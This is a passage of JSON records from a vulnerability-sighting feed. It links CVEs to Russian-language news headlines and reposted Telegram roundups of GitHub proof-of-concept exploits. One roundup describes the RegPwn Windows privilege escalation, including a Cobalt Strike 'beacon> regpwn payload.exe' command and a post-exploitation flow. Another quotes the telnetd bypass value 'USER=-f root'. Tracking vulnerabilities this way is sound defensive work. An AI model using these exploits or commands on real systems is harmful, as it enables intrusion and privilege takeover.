"\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24244 \u0432 NVIDIA Megatron Bridge: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/5241FE42-5134-4E11-80D3-A6FA5C00B7C5", "creation_timestamp": "2026-07-02T04:33:34.387729Z"}, {"uuid": "b3533d9c-8eae-40c2-826b-7e5ad962b510", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24246", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn7ch53y22y", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24246 \u0432 NVIDIA Megatron Bridge: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/205994C4-3124-4B86-BA8B-8C5F9ADDB767", "creation_timestamp": "2026-07-02T04:33:55.406829Z"}, {"uuid": "e42a1871-fb71-43f6-a2af-587feba92b0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24247", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn7d2yb3a2o", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24247 \u0432 NVIDIA Megatron Bridge \u0434\u043b\u044f Linux: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/B7710EC1-D9A1-41E3-9A24-348F1D78A3C5", "creation_timestamp": "2026-07-02T04:34:15.988167Z"}, {"uuid": "fbf13f3b-ad63-4382-bd6b-b2dc3179b0a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24248", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn7downsd2l", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24248 \u0432 NVIDIA Megatron Bridge \u0434\u043b\u044f Linux: \u0443\u0433\u0440\u043e\u0437\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/39EBFD59-546D-44E1-93F1-AE922DF7B97B", "creation_timestamp": "2026-07-02T04:34:37.161074Z"}, {"uuid": "6d1ffdb0-8a53-419e-af18-d107de36c8b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24249", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn7f2xoll2b", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24249 \u0432 NVIDIA Megatron Bridge: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/44C3CB16-4458-4D7B-B7E8-E9DDAE2EDCB4", "creation_timestamp": "2026-07-02T04:35:23.110404Z"}, {"uuid": "3457259f-d460-40ea-84ea-f8cc0c2a0742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24260", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn7foyfv222", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24260 \u0432 NVIDIA Container Toolkit: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/6ED5F2B9-F247-4D53-ACA2-20AB5F2EDB81", "creation_timestamp": "2026-07-02T04:35:44.139905Z"}, {"uuid": "dd238cb4-d755-4af7-be80-a3c09b424d84", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24270", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mpn7gkqvti2q", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-24270 \u0432 NVIDIA AIStore: \u0443\u0433\u0440\u043e\u0437\u0430 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/D04E9D69-7A83-49CC-8DD7-1AE975683E32", "creation_timestamp": "2026-07-02T04:36:13.823918Z"}, {"uuid": "abb1a198-8062-459b-bdc9-9c0723e0bc77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24423", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-08-14)", "content": "", "creation_timestamp": "2026-08-15T10:15:07.011016Z"}, {"uuid": "566c2239-bf2d-42b7-b196-5a1ac405dbf5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30322", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:05.639697Z"}, {"uuid": "53fc2f64-7238-445b-81f5-a7394a5e99c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30322", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected for research and exploit analysis.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/b1gchoi/CVE-2026-2441_POC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink engine allows attackers to achieve arbitrary code execution within the browser sandbox.\nThe PoC demonstrates memory corruption triggered via crafted CSS and layout processing.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Confirmed exploitation in the wild\n\u2022 Potential full exploit chain\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-1357\n\ud83c\udfaf WordPress WPvivid Plugin \u2013 Unauthenticated RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/cybertechajju/CVE-2026-1357-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in the WPvivid Backup & Migration plugin allows unauthenticated attackers to upload malicious files and execute code on the server.\n\n\u2699\ufe0f Impact\n\u2022 Unauthenticated remote code execution\n\u2022 Full WordPress site compromise\n\u2022 High severity (critical risk)\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:04.936895Z"}, {"uuid": "9a1ddc85-cfc3-46ba-91e3-0c1a8f069723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30246", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Fresh Collection)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories, collected and verified from GitHub.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-32941\n\ud83c\udfaf Sliver C2 \u2013 Remote Denial of Service (OOM Crash)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/skoveit/CVE-2026-32941\n\n\ud83e\udde0 Overview\nA vulnerability in the Sliver C2 framework allows attackers to trigger a remote Out-of-Memory (OOM) crash by abusing uncontrolled memory allocation.\nThe flaw occurs due to trusting attacker-controlled message size values, enabling allocation of extremely large memory blocks.\n\n\u2699\ufe0f Impact\n\u2022 Remote Denial of Service\n\u2022 C2 infrastructure disruption\n\u2022 Potential full operation shutdown\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/fartlover37/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink CSS engine allows attackers to execute arbitrary code within the browser sandbox.\nThe PoC triggers memory corruption through CSS manipulation and layout recalculation.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Active exploitation confirmed\n\u2022 Potential exploit chain to full system compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-21992\n\ud83c\udfaf Web Application Vulnerability \u2013 Exploit PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/TEXploited/CVE-2026-21992\n\n\ud83e\udde0 Overview\nA newly published PoC demonstrates exploitation of a web-based vulnerability (details vary depending on deployment).\nThe repository includes exploit logic useful for testing input validation and server-side handling weaknesses.\n\n\u2699\ufe0f Impact\n\u2022 Web application compromise\n\u2022 Potential RCE / data exposure\n\u2022 Useful for exploitation research\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-3888\n\ud83c\udfaf Application-Level Vulnerability \u2013 PoC Exploit\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/netw0rk7/CVE-2026-3888-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept demonstrating exploitation of a recently disclosed vulnerability affecting application-level logic.\nThe PoC provides a working example of triggering abnormal behavior through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Service disruption\n\u2022 Input validation bypass\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-32746\n\ud83c\udfaf System / Application Vulnerability \u2013 Research PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/jeffaf/cve-2026-32746\n\n\ud83e\udde0 Overview\nThis repository provides a PoC targeting CVE-2026-32746, demonstrating potential exploitation paths and abnormal system behavior.\n\n\u2699\ufe0f Impact\n\u2022 Potential privilege abuse\n\u2022 System instability\n\u2022 Research and testing value\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoCs are useful for:\n\u2022 Real-world exploit analysis\n\u2022 Red team / blue team exercises\n\u2022 Patch validation testing\n\u2022 Vulnerability research workflows\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:06.136989Z"}, {"uuid": "e9775419-e79f-4b22-86f4-23ada30175c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30204", "content": "\ud83d\udd25 Windows LPE Exploit \u2014 RegPwn (CVE-2026-24291)\n\u2694\ufe0f Registry Symlink Privilege Escalation via Accessibility Mechanism\n\n\ud83d\udccc Research / Blog\n\ud83d\udc49https://www.mdsec.co.uk/2026/03/rip-regpwn/\n\n\ud83d\udccc GitHub (Exploit)\n\ud83d\udc49https://github.com/mdsecactivebreach/RegPwn\n\n\ud83d\udccc GitHub (BOF / Cobalt Strike)\n\ud83d\udc49https://github.com/Flangvik/RegPwnBOF\n\n\ud83d\udcd6 Description\nRegPwn is a Local Privilege Escalation (LPE) vulnerability in Windows\naffecting Windows 10, Windows 11, and multiple Windows Server versions.\n\nIt was discovered and used internally by MDSec during Red Team operations\nsince early 2025, and later patched in March 2026.\n\nTracked as:\n\ud83d\udc49 CVE-2026-24291\n\n\u2699\ufe0f Vulnerability Overview\nThe issue exists in the Windows Accessibility (ATBroker / ATConfig) mechanism.\nMisconfigured registry permissions\nUser-controlled registry data copied into privileged context\nWritable HKLM registry path exposed to low-priv users\n\ud83d\udc49 Leads to arbitrary registry write as SYSTEM\nAccording to CVE:\nIncorrect permission assignment allows local privilege escalation\n\n\ud83e\udde0 Exploitation Concept\nRegistry Flow Abuse\nHKCU (User Controlled)\n        \u2193\nHKLM Session Key (Writable)\n        \u2193\nHKU\\.DEFAULT (SYSTEM Context)\n        \u2193\nSYSTEM Process Execution\n\nCore Technique\n\u2022 Registry Symlink Abuse\n\u2022 Race Condition (Oplock)\n\u2022 Accessibility Feature Trigger (osk.exe)\n\ud83d\udc49 Result:\nLow Priv User \u2192 SYSTEM Privilege\n\n\u2694\ufe0f Exploit Details\nThe exploit abuses:\n\u2022 Accessibility configuration registry keys\n\u2022 Secure Desktop behavior\n\u2022 ATbroker.exe interaction\n\u2022 osk.exe execution timing\n\ud83d\udc49 By combining:\n\u2022 Opportunistic Lock (Oplock)\n\u2022 Registry Symbolic Link\nAn attacker can redirect writes to arbitrary SYSTEM registry locations\n\n\ud83d\udca3 Practical Impact\n\u2022 Local Privilege Escalation (LPE)\n\u2022 Full SYSTEM access\n\u2022 Service ImagePath hijacking\n\u2022 Payload execution as SYSTEM\n\n\ud83e\uddec GitHub \u2014 Exploit Implementation\n\u2699\ufe0f RegPwn (Original Exploit)\n\u2022 Language: C#\n\u2022 Targets:\n   \u2022 Windows 10 / 11\n   \u2022 Windows Server 2016 / 2019 / 2022\n   \u2022 Based on blog research\n\ud83d\udc49 Direct PoC for LPE\n\n\u2694\ufe0f RegPwnBOF (Cobalt Strike BOF)\n\u2022 BOF implementation of exploit\n\u2022 Designed for post-exploitation use\n\u2022 Supports:\nbeacon> regpwn payload.exe\n\ud83d\udc49 Enables SYSTEM escalation inside C2 operations\n\n\ud83e\udde0 Red Team Insight\nReal-World Usage Flow\nInitial Access\n     \u2193\nBeacon / Agent\n     \u2193\nRegPwn Execution\n     \u2193\nSYSTEM Privilege\n     \u2193\nLateral Movement / Persistence\n\nWhy This Matters\n\u2714\ufe0f Works on multiple Windows versions\n\u2714\ufe0f Reliable LPE vector\n\u2714\ufe0f BOF integration available\n\u2714\ufe0f Useful for post-exploitation chains\n\n\ud83d\ude80 Key Takeaways\n\u2022 Accessibility features can expose privileged pathways\n\u2022 Registry permission misconfig = critical attack surface\n\u2022 Race conditions + symlink = powerful LPE combo\n\u2022 Direct integration into C2 frameworks\n\n\u26a0\ufe0f Patch Status\n\u2714\ufe0f Fixed in March 2026 Patch Tuesday\n\u2714\ufe0f Affects pre-patch Windows environments\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:06.412537Z"}, {"uuid": "c43cb72b-3170-435a-ab4f-76926fb646e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30149", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE Discovered \u2013 Weekly Report\nEvery week, new vulnerability research and exploit Proof-of-Concepts are published on GitHub by security researchers around the world.\nBelow are some notable CVE PoC repositories discovered this week, useful for vulnerability research, exploit analysis, and security education.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting GNU inetutils telnetd allows attackers to bypass authentication and gain root shell access.\nThe exploit abuses the NEW_ENVIRON telnet option to inject crafted environment variables that result in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA memory safety vulnerability in rldns DNS server 1.3 allows attackers to trigger a heap out-of-bounds read, which may crash the server and cause denial-of-service conditions.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory corruption issue\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 Research / PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-accessible script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to manipulate HTTP request parsing and potentially bypass authentication mechanisms or hijack user sessions.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 SSRF / potential RCE scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nA vulnerability in Next.js Server Actions allows attackers to trigger remote code execution through insecure deserialization and prototype pollution in the React Server Components protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Why This Matters\nThese PoC repositories help security researchers and defenders:\n\u2022 Understand how modern vulnerabilities are exploited\n\u2022 Study exploit development techniques\n\u2022 Perform patch diff analysis\n\u2022 Improve defensive security strategies\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:06.614085Z"}, {"uuid": "69ec7f89-812a-4cb5-ae7b-277f388f1acf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30117", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today)\nBelow are several recent vulnerabilities with publicly available PoC repositories on GitHub that are useful for vulnerability research and exploit analysis.\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass \u2192 Root Access\n\n\ud83d\udd17 PoC\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability in GNU inetutils telnetd allows attackers to bypass authentication and obtain a root shell.\nThe exploit abuses the NEW_ENVIRON telnet option and injects a crafted environment variable (USER=-f root) that results in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA heap-based out-of-bounds read vulnerability in rldns version 1.3 can be triggered during DNS request handling, leading to memory access violations and denial-of-service.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory safety vulnerability\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability in BeyondTrust Remote Support / Privileged Remote Access allows remote attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-reachable script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote-access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 